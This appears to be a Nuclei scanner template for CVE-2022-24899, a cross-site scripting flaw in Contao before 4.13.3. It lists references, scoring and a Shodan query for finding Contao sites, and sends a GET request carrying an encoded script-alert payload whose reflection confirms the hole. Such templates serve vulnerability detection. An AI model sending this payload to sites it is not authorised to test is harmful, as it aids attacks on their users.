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id : CVE-2022-24899
info :
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name : Contao <4.13.3 - Cross-Site Scripting
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author : ritikchaddha
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severity : medium
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description : |
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Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation : As a workaround, users may disable canonical tags in the root page settings.
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reference :
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://nvd.nist.gov/vuln/detail/CVE-2022-24899
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- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
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- https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2022-24899
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cwe-id : CWE-79
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epss-score : 0.00342
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epss-percentile : 0.71067
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cpe : cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
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metadata :
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max-request : 1
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vendor : contao
product : contao
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shodan-query : title:"Contao"
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tags : cve,cve2022,contao,xss,huntr
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http :
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- method : GET
path :
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- "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition : and
matchers :
- type : word
part : body
words :
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- '"></script><script>alert(document.domain)</script>'
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- '"Not authenticated"'
condition : and
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- type : word
part : header
words :
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- text/html
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# digest: 4b0a00483046022100dd79aa0474a89a2ac03e8147296d8958bd8863792570ee2d226ce4ef2bb5fe47022100f21bdc20c0df7169bf401f396d4d70048dddd98be918337c91d990bd543060b1:922c64590222798bb761d5b6d8e72950